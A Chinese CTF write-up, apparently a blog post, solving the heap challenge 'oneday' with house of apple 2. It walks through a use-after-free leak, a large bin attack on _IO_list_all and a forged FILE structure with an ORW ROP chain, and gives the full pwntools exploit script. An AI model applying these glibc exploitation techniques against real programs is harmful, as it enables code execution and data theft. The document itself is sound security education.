oneday

前言:

最近看了house of apple 2 的相关知识,

看到了roderick师傅在其博客中提到的例题oneday

拿来做了一下,

写下了这篇wp.

题目分析

image-20241027195747379

checksec查看保护策略,保护全开

image-20241108133653756

禁用了execve

查看ida

image-20241027195856987

image-20241027200302236

image-20241027200313704

image-20241027200348158

分析程序发现,题目根据key的大小来决定可以申请堆块的大小,并且申请堆块只能申请key * 0x100,key * 0x100+0x10

key*2这3个固定大小的chunk

image-20241027200455315

image-20241027200505974

题目只给了一次edit的机会,同样也只给了一次show的机会。

解题流程

泄露地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
add(1) #0
add(3) #1
add(2) #2
add(3) #3
add(3) #4
add(3) #5
add(3) #6

free(3)#5
free(5)#6

show(3)

p.recvuntil("\x3a\x20\x0a")

addr=u64(p.recv(8))-0x21ace0
log_addr("addr")
heap=u64(p.recv(8))-0x0035f0-0x100-0x1000
log_addr("heap")

申请几个堆块,然后free掉3,5 让其依次进入unsorted bin 然后因为uaf的存在,此时进行show,就可以把chunk3中的libc和heap地址泄露出来。

large bin attack

1
2
3
4
5
6
7
8
9
10
11
12
IO_list_all= addr+libc.sym['_IO_list_all']
add(3) #7
add(3) #8
free(2)
add(3)#9 #申请大chunk,让chunk2进入large bin
free(0)
payload = p64(0)*3+p64(IO_list_all-0x20)
edit(2,payload)
add(3)#10 # 申请大chunk,让chunk 0 进入large bin

add(1)#11 #触发unlink

通过large bin attack的方式把IO_list_all里面的内容替换为后放入large bin 的chunk 0地址

image-20241108134821167

这时我们已经用掉了唯一的一次edit机会,但是我们还要去伪造fake_io,不能去改写chunk0 的内容,在看了其他师傅的博客后发现,这时我们去再次申请一个和large bin 中较小chunk相同大小的chunk,就会触发unlink,会将大chunk的地址写入IO_list_all,使io_list_all里面的内容从chunk0的地址变为chunk2的地址。

image-20241108135939876

magic_gadgets

1
2
0x000000000016a06a: mov rbp, qword ptr [rdi + 0x48]; mov rax, qword ptr [rbp + 0x18]; lea r13, [rbp + 0x10]; mov dword ptr [rbp + 0x10], 0; mov rdi, r13; call qword ptr [rax + 0x28]; 

这是一条很有用的指令,rdi即为IO_file的首地址,所以我们可以控制rbp,rax, 同时有call qword ptr [rax + 0x28];

可以控制程序的执行流。在这道题中,我选择通过把执行流控制为leave_ret同时控制rbp为提前布置好的orw地址去让程序执行提前布置好的orw链,orw读出flag,getshell.

伪造结构体

因为只有一次edit的机会所以我们连带fake_io和执行orw的rop链一起输入

orw部分
1
2
3
4
orw=p64(pop_rdi)+p64(heap+0x1d28)+p64(pop_rsi)+p64(0)+p64(pop_rdx_r12)+p64(0)*2+p64(pop_rax)+p64(2)
orw+=p64(syscall) #open
orw+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heap+0x5000)+p64(pop_rdx_r12)+p64(0x20)*2+p64(pop_rax)+p64(0)+p64(syscall) #read
orw+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heap+0x5000)+p64(pop_rdx_r12)+p64(0x20)*2+p64(pop_rax)+p64(1)+p64(syscall) #write
fake_io部分
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
file_addr=heap+0x1c30
IO_wide_data_addr=file_addr
wide_vtable_addr = (file_addr+0xd8 + 8 + 8) - 0x68
fake_io = b""
fake_io += p64(0)*3+p64(IO_list_all-0x20)
fake_io += p64(0)
fake_io += p64(0)
fake_io += p64(0)
fake_io += p64(file_addr+0x18+0xe8)
fake_io += p64(0)
fake_io += p64(0)
fake_io += p64(0)
fake_io += p32(2)
fake_io += p32(0)
fake_io += p64(0xFFFFFFFFFFFFFFFF)
fake_io += p64(0x0a000000)
fake_io += p64(0)
fake_io += p64(0xFFFFFFFFFFFFFFFF)
fake_io += p64(0)*2
fake_io += p64(IO_wide_data_addr)
fake_io += p64(0) * 2
fake_io += p32(0xFFFFFFFF)
fake_io = fake_io.ljust(0xD8 - 0x10, b'\x00')
fake_io += p64(libc.sym['_IO_wfile_jumps']+addr)
fake_io += p64(wide_vtable_addr)
fake_io += p64(magic_gadget)
fake_io += p64(leave_ret)+p64(0x67616c662f2e)
fake_io +=p64(file_addr+0xf0-0x28)
fake_io+=p64(pop_rsi_r15)+p64(0)+p64(file_addr+0xf0-0x28)
fake_io+=orw

利用house of apple 2的模板去构建fake_io

触发io

1
p.sendlineafter("enter your command: \n",str(6))

最后我们选择通过选择一个不存在的选项去触发exit(0);

布置好的orw链

image-20241108143047180

最后执行完毕,getshell.

image-20241108143118946

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
from tools import*
context(os='linux', arch='amd64', log_level='debug')
p=process("./oneday")
e=ELF("./oneday")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")



def add(choice):
p.sendlineafter("enter your command: \n",str(1))
p.sendlineafter("choise: ",str(choice))

def free(index):
p.sendlineafter("enter your command: \n",str(2))
p.sendlineafter("Index: \n",str(index))

def edit(index,content):
p.sendlineafter("enter your command: \n",str(3))
p.sendlineafter("Index: ",str(index))
p.sendafter("Message: ",content)

def show(index):
p.sendlineafter("enter your command: \n",str(4))
p.sendlineafter("Index: ",str(index))


p.sendlineafter(">>\n",str(8))


add(1)
add(3)
add(2)
add(3)#3
add(3)#4x
add(3)#5x
add(3)#6

free(3)#5
free(5)#6

show(3)

p.recvuntil("\x3a\x20\x0a")

addr=u64(p.recv(8))-0x21ace0
log_addr("addr")
heap=u64(p.recv(8))-0x0035f0-0x100-0x1000
log_addr("heap")
IO_list_all= addr+libc.sym['_IO_list_all']
add(3)#7y
add(3)#8y

pop_rsi_r15=0x000000000002a3e3+addr
pop_rdi=0x000000000002a3e5+addr
pop_rsi=0x000000000016333a+addr
pop_rdx_r12=0x000000000011f2e7+addr
pop_rax=0x0000000000045eb0+addr
syscall=0x0000000000091316+addr
leave_ret=0x000000000004da83+addr
magic_gadget = addr + 0x000000000016a06a
pop_rsp=0x000000000004181d+addr
orw=p64(pop_rdi)+p64(heap+0x1d28)+p64(pop_rsi)+p64(0)+p64(pop_rdx_r12)+p64(0)*2+p64(pop_rax)+p64(2)
orw+=p64(syscall)
orw+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heap+0x5000)+p64(pop_rdx_r12)+p64(0x20)*2+p64(pop_rax)+p64(0)
orw+=p64(syscall)
orw+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heap+0x5000)+p64(pop_rdx_r12)+p64(0x20)*2+p64(pop_rax)+p64(1)
orw+=p64(syscall)

free(2)
add(3)#9
free(0)
file_addr=heap+0x1c30
IO_wide_data_addr=file_addr
wide_vtable_addr = (file_addr+0xd8 + 8 + 8) - 0x68
fake_io = b""
fake_io += p64(0)*3+p64(IO_list_all-0x20)
fake_io += p64(0)
fake_io += p64(0)
fake_io += p64(0)

fake_io += p64(file_addr+0x18+0xe8) #
fake_io += p64(0)
fake_io += p64(0)
fake_io += p64(0)
fake_io += p32(2)
fake_io += p32(0)
fake_io += p64(0xFFFFFFFFFFFFFFFF)
fake_io += p64(0x0a000000)
fake_io += p64(0)
fake_io += p64(0xFFFFFFFFFFFFFFFF)
fake_io += p64(0)*2
fake_io += p64(IO_wide_data_addr)
fake_io += p64(0) * 2
fake_io += p32(0xFFFFFFFF)
fake_io = fake_io.ljust(0xD8 - 0x10, b'\x00')
fake_io += p64(libc.sym['_IO_wfile_jumps']+addr)
fake_io += p64(wide_vtable_addr)
fake_io += p64(magic_gadget)
fake_io += p64(leave_ret)+p64(0x67616c662f2e)
fake_io +=p64(file_addr+0xf0-0x28)
fake_io+=p64(pop_rsi_r15)+p64(0)+p64(file_addr+0xf0-0x28)
fake_io+=orw

payload=fake_io.ljust(0x880,b'\x00')

edit(2,payload)

add(3)#10
add(1)#11


debug(p,addr+0x083b9b)

p.sendlineafter("enter your command: \n",str(6))


p.interactive()

oneday
https://pfwqdxwdd.github.io/2024/10/27/oneday/
作者
pfwqdxwdd
发布于
2024年10月27日
许可协议